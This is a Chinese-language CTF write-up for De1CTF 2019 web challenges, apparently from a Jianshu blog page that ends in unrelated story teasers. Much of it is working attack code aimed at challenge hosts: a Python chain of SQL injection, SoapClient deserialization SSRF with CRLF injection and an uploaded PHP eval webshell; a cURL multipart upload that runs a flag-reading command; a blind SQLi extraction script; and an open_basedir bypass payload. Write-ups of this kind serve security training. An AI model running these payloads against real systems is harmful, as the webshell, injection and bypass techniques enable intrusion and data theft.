2019De1CTF WP

https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/web
https://www.jianshu.com/p/0a02f4ff6a7e

WEB

shellshellshell

https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540
https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/web/ShellShellShell/README_zh.md

(国外师傅写WP也太细了。。)
第一层就是N1CTF2018的原题,知识点二次注入+利用SoapClient进行SSRF+文件上传,需要对上述文章中的脚本更改一下password值。
先注出admin账户的password,这里使用时间盲注,根据上述文章说的,只需要更将单引号改成反引号即可闭合,

注出password之后更改脚本里的值,然后运行脚本

import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib
from itertools import product

_target = 'http://20.20.20.128:11027/'
_action = _target + 'index.php?action='

def get_code_dict():
    c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
    captchas = [''.join(i) for i in product(c, repeat=3)]

    print '[+] Genering {} captchas...'.format(len(captchas))
    with open('captchas.txt', 'w') as f:
        for k in captchas:
            f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')


def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

#code
def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
    return solution

def register(username, password):
    resp = sess.get(_action+'register')
    code = solve_code(resp.text)
    sess.post(_action+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    sess.post(_action+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})

def get_prc_now():
    # date_default_timezone_set("PRC") is not important
    return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])

def get_admin_session():
    sess = requests.Session()
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    return sess.cookies.get_dict()['PHPSESSID'], code

get_code_dict()

print '[+] creating user session to trigger ssrf'
sess = requests.Session()

username, password = get_creds()

print '[+] register({}, {})'.format(username, password)
register(username, password)

print '[+] login({}, {})'.format(username, password)
login(username, password)

print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 200\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))

payload = 'a`, {}); -- -'.format(mood)

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0')

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})

# resp = sess.post(_action+'publish')
# print resp.text

print '[+] uploading stager'
shell = {'pic': ('jaivy.php', '<?php @eval($_POST[jaivy]);?>', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)
# print resp.text
webshell_url=_target+'upload/jaivy.php'
print '[+] shell => '+webshell_url+'\n'

post_data={"jaivy":"system('ls -al');"}
resp = sess.post(url=webshell_url,data=post_data)
print resp.text

然后用session直接登录即可。

登录之后上传shell,没有原题中标签过滤,所以上传木马,抓包改type即可

第二层说是内网题,直接ifconfig,或者/etc/host看一下内网地址

,接下来讲道理应该是ew代理进内网扫开放80端口的主机(我还研究了一晚上ew怎么用)。结果大哥@tr1ple告诉我ew无法使用域名来代理,也就是说buuoj的环境是没法代理的。
所以直接偷别人的wp了

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => "http://172.16.54.2",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tr1ple.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../tr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}

原题的代码如下:

<?php
    $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name'])
    {
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) 
        {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1])
        {
            die("try again!!!");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hello'];
        if(@substr(file($_)[0],0,6)==='@<?php')
        {
            if(strpos($_,$new_name)===false)
            {
                include($_);
            }
            else
            {
                echo "you can do it!";
            }
        }
        unlink($new_name);
    }
    else
    {
        highlight_file(__FILE__);
    }

考点主要是

  1. end()显示的是最后一个输入
  2. unlink()的特性,借用p神的解释
    查看php源码,其实我们能发现,php读取、写入文件,都会调用php_stream_open_wrapper_ex来打开流,而判断文件存在、重命名、删除文件等操作则无需打开文件流。  

    我们跟一跟php_stream_open_wrapper_ex就会发现,其实最后会使用tsrm_realpath函数来将filename给标准化成一个绝对路径。而文件删除等操作则不会,这就是二者的区别。

    所以,如果我们传入的是文件名中包含一个不存在的路径,写入的时候因为会处理掉“../”等相对路径,所以不会出错;判断、删除的时候因为不会处理,所以就会出现“No such file or directory”的错误。

这里主要的问题是目标主机,我是用蚁剑插件发现开放着80端口的主机,结果一直失败。然后发现有n台开放着80端口的主机,flag在10那台上。

SSRFme

简单的一道hash长度扩展题(奇怪的是buuoj上一直都是500)

  1. 访问geneSign?param=flag.txt,拿到sign=hashlib.md5(secert_key + 'flag.txt' + 'scan').hexdigest()
  2. 使用hashpumpDATA设置成flag.txtscan,长度16,添加read
  3. 获得的数据中\x改成%
  4. 访问/De1ta?param=flag.txtcookie设置成cookies={'action': action,'sign': sign}其中actionsign为(3)中获得的数据。

出题人的wp中好像还多了一个CVE-2019-9948(urllib)的考点,把上述的flag.txt改成local-file:flag.txt

giftbox

查看usage.md

试了下login功能,发现存在sql注入
抓包看一下请求,发现有个类似时间戳的参数
翻翻js文件,main.js发现了接口
,我们可以通过调用pythonopt库来完成时间戳生成,注入并没有过滤,写盲注脚本如下:

import requests
import pyotp
import urllib
url = 'http://f1903092-a1e9-40d7-bd59-ea3d02cad232.node3.buuoj.cn/shell.php?a={}&totp={}'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
pos = 1
flag =''

while True:
    i=31 
    while i<128:
        #username = "-1'/**/or/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()),%d,1)))=%d,1,0)#" % (pos, i)
        #username = "-1'/**/or/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users'),%d,1)))=%d,1,0)#" % (pos, i)
        username = "-1'/**/or/**/if((ascii(substr((select/**/group_concat(password)/**/from/**/users),%d,1)))=%d,1,0)#" % (pos, i)
        password = '1'
        payload = 'login %s %s'%(username,password)
        res = requests.get(url=url.format(urllib.quote(payload), totp.now()))
        if 'password' in res.text:
            flag += chr(i)
            print flag
            break
        if i == 127:
            print "no~"
            i = 31
        i+=1
    pos += 1
    print "oops~"

hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

得到提示evallaunch的时候被调用。
launch前需要先用targeting设置,不过对输入有限制,这里可以fuzz一下,得知code限制a-zA-Z0-9position限制a-zA-Z0-9})$({_+-,.,而且两者的长度也有限制。
所以使用字符串拼接以及利用chr()来构造所需要的的字符。这时候发现有open_basedir,也设置了disable_function,所以要绕open_basedir来读取其他目录文件

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
import requests
import pyotp
import urllib
url = 'http://44930d88-0120-4e0a-8c9f-b2fb7909b813.node3.buuoj.cn/shell.php?a={}&totp={}'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
re = requests.session()

def login():
    username = 'admin'
    password = 'hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}'
    payload = 'login %s %s'%(username,password)
    re.get(url=url.format(urllib.quote(payload), totp.now()))

def targeting(code ,position):
    payload = 'targeting %s %s' % (code, position)
    re.get(url=url.format(urllib.quote(payload), totp.now()))

def launch():
    payload = 'launch'
    return re.get(url=url.format(urllib.quote(payload), totp.now())).text

def destruct():
    payload = 'destruct'
    re.get(url=url.format(urllib.quote(payload), totp.now()))

login()
destruct()
targeting('a', 'chr')
targeting('b', '{$a(46)}')
targeting('c', '{$b}{$b}')
targeting('d', '{$a(47)}')
targeting('e', 'js')
targeting('f', 'open_basedir')
targeting('g', 'chdir')
targeting('h', 'ini_set')
targeting('i', 'file_get_')
targeting('j', '{$i}contents')
targeting('k', '{$g($e)}')
targeting('l', '{$h($f,$c)}')
targeting('m', '{$g($c)}')
targeting('n', '{$h($f,$d)}')
targeting('o', '{$d}flag')
targeting('p', '{$j($o)}')
targeting('q', 'printf')
targeting('r', '{$q($p)}')
print(launch())

未完待续

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342